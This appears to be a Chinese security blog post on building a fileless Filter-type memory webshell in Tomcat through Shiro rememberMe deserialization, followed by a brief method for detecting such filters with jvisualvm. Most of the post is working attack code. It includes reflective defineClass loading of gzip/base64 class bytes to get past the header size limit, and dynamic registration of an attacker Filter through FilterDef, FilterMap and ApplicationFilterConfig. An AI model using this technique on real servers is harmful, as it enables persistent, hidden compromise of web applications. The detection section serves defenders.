tomcat结合shiro无文件webshell的技术研究以及检测方法
0x01简介
shiro结合tomcat回显,使用公开的方法,回显大多都会报错。因为生成的payload过大,而tomcat在默认情况下,接收的最大http头部大小为8192。如果超过这个大小,则tomcat会返回400错误。而某些版本tomcat可以通过payload修改maxHttpHeaderSize,而某些又不可以。所以我们要想办法解决这个很麻烦,并顺便实现tomcat的内存马,用来持久化shell。
我的测试环境如下:
- tomcat 7.0.104
- idea
- shiro
环境安装配置就不在这里详细描述,该分享主要围绕着以下主题分享:
- Filter介绍
- 类加载器的相关知识点
- tomcat的内存马该如何查杀
0x02 Filter
1. Filter的基本工作原理
Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
2. Filter 链
- 在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。如果有多个 Filter 程序都可以对某个 Servlet 程序的访问过程进行拦截,当针对该 Servlet 的访问请求到达时,Web 容器将把这多个 Filter 程序组合成一个 Filter 链(也叫过滤器链)。
- Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,上一个 Filter.doFilter 方法中调用 FilterChain.doFilter 方法将激活下一个 Filter的doFilter 方法,最后一个 Filter.doFilter 方法中调用的 FilterChain.doFilter 方法将激活目标 Servlet的service 方法。
- 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法都不会被执行。
3. Tomcat中请求Filter的流程
用户在请求tomcat的资源的时候,会调用ApplicationFilterFactory的createFilterChain方法,根据web.xml的Filter配置,去生成Filter链。主要代码如下
filterChain.setServlet(servlet);
filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
boolean isCometFilter;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
isCometFilter = false;
if (comet) {
try {
isCometFilter = filterConfig.getFilter() instanceof CometFilter;
} catch (Exception var21) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
ExceptionUtils.handleThrowable(t);
}
if (isCometFilter) {
filterChain.addFilter(filterConfig);
}
} else {
filterChain.addFilter(filterConfig);
}
}
}
}
首先获取当前context,并从context中获取FilterMap。FIlterMap的数据结构如下
我们可以看到,FilterMap存放了Filter的名称和需要拦截的url的正则表达式。
继续往下分析代码,遍历FilterMap中每一项,调用matchFiltersURL这个函数,去确定请求的url和Filter中需要拦截的正则表达式是否匹配。
如果匹配的话,则通过context.findFilterConfig方法去查找filter对应的名称。filterConfig的数据结构如下
随后将filterConfig添加到Filter.chain中。
下面我们看一下ApplicationFilterChain.internalDoFilter方法,简化后的代码如下
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
Filter filter = null;
filter = filterConfig.getFilter();
this.support.fireInstanceEvent("beforeFilter", filter, request, response);
filter.doFilter(request, response, this);
this.support.fireInstanceEvent("afterFilter", filter, request, response);
在这里我们可以很清楚的看到,从刚才的FilterChain中,遍历每一项FilterConfig,然后获取FIlterConfig对应的filter,最后调用我们熟悉的filter.doFilter方法。
可以用如下流程图来方便我们理解这个过程
可以看出,如果需要动态注册一个Filter,结合上面的分析,我们可以发现,只要修改context相关字段,即可完成动态注册一个Filter。好消息是,context已经帮我们实现了相关方法,我们就没有必要去通过反射等手段去修改。
4. tomcat实现
4.1 获取context
可以通过MBean的方式去获取当前context,我们查看一下tomcat的MBean
idea中查看一下
相关代码如下
Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples_web_war,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context
当然,还有很多种办法,这里只是一个例子
4.2 添加filterdef到context
首先我们实例化一个FilterDef,FilterDef的作用主要为描述filter名称与Filter实例的关系。注意,在后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef
Object filterDef = Class.forName("FilterDef").newInstance();
// 设置过滤器名称
Method filterDefsetFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
filterDefsetFilterName.invoke(filterDef, "test");
// 实例化Filter,也就是第一阶段我们加载的那个filter,通过Class.forname查找
Method filterDefsetFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);
//通过class.forname查找我们待加载的Filter,后面调用newInstance实例化
Class evilFilterClass = Class.forName("testFilter1");
filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());
4.3 添加filtermap到context
FilterMap的作用建立filter的url拦截与FilterDef的关系。在这里我们需要设置加载的filter都拦截什么url。代码如下
Object filterMap = Class.forName("FilterMap").newInstance();
Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
filterMapaddURLPattern.invoke(filterMap, "/*");
// 设置filter的名字为test
Method filterMapsetFilterName = Class.forName("FilterMap").getMethod("setFilterName", String.class);
filterMapsetFilterName.invoke(filterMap, "test");
4.4 添加ApplicationFilterConfig至context
这里很简单,最后我们需要添加ApplicationFIlterConfig就可以了,代码如下
Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
Constructor<?>[] filterConfigCon =
Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
filterConfigs.put("test", filterConfigCon[0].newInstance(context, filterDef));
0x02 类加载器的相关知识点
在上一步种,我们是无法成功的,因为payload过大,超过tomcat的限制。会导致tomcat报400 bad request错误。我们仔细分析可知,因为payload种需要加载Filter的class bytes。这一部分最小最小还需要3000多。所以我们需要将Filter的class byte,想办法加载至系统中。可以缩小我们动态加载Filter的payload大小。
1.1 class.forname
在这里我们先学习以下class.forname
这个方法,查看openjdk的相关源码
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374
class.forname
会获取调用方的classloader,然后调用forName0
,从调用方的classloader中查找类。当然,这是一个native方法,精简后源码如下
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104
Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
jboolean initialize, jobject loader, jclass caller)
{
char *clname;
jclass cls = 0;
clname = classname;
cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
return cls;
}
JVM_FindClassFromClassler
的代码在如下位置
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
jboolean init, jobject loader,
jclass caller))
JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");
TempNewSymbol h_name =
SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
CHECK_NULL);
oop loader_oop = JNIHandles::resolve(loader);
oop from_class = JNIHandles::resolve(caller);
oop protection_domain = NULL;
if (from_class != NULL && loader_oop != NULL) {
protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
}
Handle h_loader(THREAD, loader_oop);
Handle h_prot(THREAD, protection_domain);
jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
h_prot, false, THREAD);
return result;
JVM_END
主要是获取protectDomain等相关信息。然后调用find_class_from_class_loader
,代码如下
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
Handle loader, Handle protection_domain,
jboolean throwError, TRAPS) {
Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);
// Check if we should initialize the class
if (init && klass->is_instance_klass()) {
klass->initialize(CHECK_NULL);
}
return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}
在SystemDictionary::resolve_or_fail
会判断查找的类是不是属于数组,对于咱们来讲,肯定不是数组,所以,我们主要来分析systemDictionary::resolve_instance_class_or_null
代码如下
class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
ClassLoaderData* loader_data = register_loader(class_loader);
Dictionary* dictionary = loader_data->dictionary();
unsigned int d_hash = dictionary->compute_hash(name);
{
InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
if (probe != NULL) return probe;
}
最终通过dictionary->find
方法去查找类,看代码,其实也就是查找classloader的classes字段。
idea中查看这个字段。可以看出这里存储了很多类的Class,我们只需要将defineClass的结果,添加到classloader的classes字段中即可。
1.2 实现
将class bytes使用gzip+base64压缩编码,代码如下
payload中,我们寻找当前classloader,调用defineclass,将类字节码转换成一个类,代码如下
这一步会用到大量的反射
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "base64+gzip编码后的类";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
加载完成后,将evilClass加载到classloader的classes字段中,这步通过反射完成
Field currentCladdloaderClasses = Thread.currentThread().getContextClassLoader().getClass().getDeclaredField("classes");
Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
classes.add(0, evilClass);
0x03 成果检验
首先我们将自己写的Filter,加载到classloader
中Filter
的代码如下
运行我们的工具,生成payload
通过burp发送出去
下一步动态注册一个Filter,
我们可以看出,这两步生成的payload大小都没有超过tomcat的maxHttpHeaderSize
。将生成的remember复制到cookies即可执行,结果如下
0x04 Filter类型的内存马查杀
- 打开jvisualvm,因为我们是访问本地java进程,所以tomcat不需要配置jmx访问
- jvisualvm安装MBean插件
3. 点击我们的tomcat,查看Catalina/Filter
节点中的数据,检查是否存在我们不认识的,或者没有在web.xml中配置的filter,或者filterClass为空的Filter,如图
0x05 参考
- https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html
- https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp
- https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java
tomcat结合shiro无文件webshell的技术研究以及检测方法的更多相关文章
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- 从无文件技术到使用隐写术:检查Powload的演变
来源:https://blog.trendmicro.com/trendlabs-security-intelligence/from-fileless-techniques-to-using-ste ...
- 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...
- 如何用Tomcat部署前端静态文件
在项目开发的过程中,一些公司经常是前后台分开的,并不是所有的前端文件都在后台项目中,尤其是互联网公司.这时候就需要后端人员单独运行前端文件.怎么用Tomcat部署运行前端静态文件呢? 工具/原料 ...
- 从commons-beanutils反序列化到shiro无依赖的漏洞利用
目录 0 前言 1 环境 2 commons-beanutils反序列化链 2.1 TemplatesImple调用链 2.2 PriorityQueue调用链 2.3 BeanComparator ...
- CentOS7之按时间段截取指定的Tomcat日志到指定文件的方法
CentOS7之按时间段截取指定的Tomcat日志到指定文件的方法 sed -n '/2016-11-02 15:00:/,/2016-11-02 15:05:/p' catalina.out > ...
- nginx+tomcat+二级域名静态文件分离支持mp4视频播放配置实例
nginx+tomcat+二级域名静态文件分离支持mp4视频播放配置实例 二级域名配置 在/etc/nginx/conf.d/目录下配置二级域名同名的conf文件,路径改成对应的即可 statics. ...
- eclipse项目自动发布到tomcat目录,缺文件。
eclipse项目自动发布到tomcat目录,缺文件. 解决方案: 项目--Properties-->Deployment Assembly-->Add--> Folder Add- ...
- 操作PDF文件的关键技术点
一个PDF文档从大到小可以分成如下几个要素:文档.章节.小节.段落.表格.列表. com.lowagie.text.Document表示PDF文档.必须为它创建一个PDF写入器,即com.lowagi ...
随机推荐
- PAT A+B和C
题目描述 给定区间[-2的31次方, 2的31次方]内的3个整数A.B和C,请判断A+B是否大于C. 输入描述: 输入第1行给出正整数T(<=10),是测试用例的个数.随后给出T组测试用例,每组 ...
- 用Java模拟游戏重力的实现(弹跳)
年末开了Java实训大作业 想了好几天决定选择马里奥小游戏 发现即使做出来但是跳跃功能是很“笨拙”的,和我们玩的游戏不一样,没有跳跃速度的快慢什么的,后来才知道这个叫做游戏里面重力的模拟. 组队做系统 ...
- PyQt5 模块modules
The QtCore module contains the core non-GUI functionality. This module is used for working with time ...
- 手写网页扫雷之js部分(vue)
var vm = new Vue({ el:"#ui", data(){ return{ num:0, saoleiStyle:{ width: "0px", ...
- mybatis的缓存2
原文:https://blog.csdn.net/qq_38274974/article/details/100898145 mybatis的缓存分为一级缓存.二级缓存那么,我们为什么要使用缓存呢? ...
- 解决错误【selenium.common.exceptions.SessionNotCreatedException】
以前能用,突然不能用了,是浏览器版本可能升级了,与原来的weddriver驱动版本不符合 解决办法:1.更新浏览器驱动, 2.降低浏览器版本
- 049.Kubernetes集群管理-集群监控Metrics
一 集群监控 1.1 Metrics Kubernetes的早期版本依靠Heapster来实现完整的性能数据采集和监控功能,Kubernetes从1.8版本开始,性能数据开始以Metrics API的 ...
- yii2.0数据库操作
User::find()->all(); 此方法返回所有数据: User::findOne($id); 此方法返回 主键 id=1 的一条数据(举个例子): User::find()->w ...
- jsc和luac文件 xxtea 解密.
# -*- coding: utf-8 -*- import xxtea import os src = "./assets/src" dst = "./assets/s ...
- scanf中的%[^\n]%*c格式
scanf中的%[^\n]%*c格式 (2011-02-19 16:12:38) 转载▼ 标签: 控制字符 空白字符 字符串 变量 整数 it 分类: C语言编程 文章转载自http://blog. ...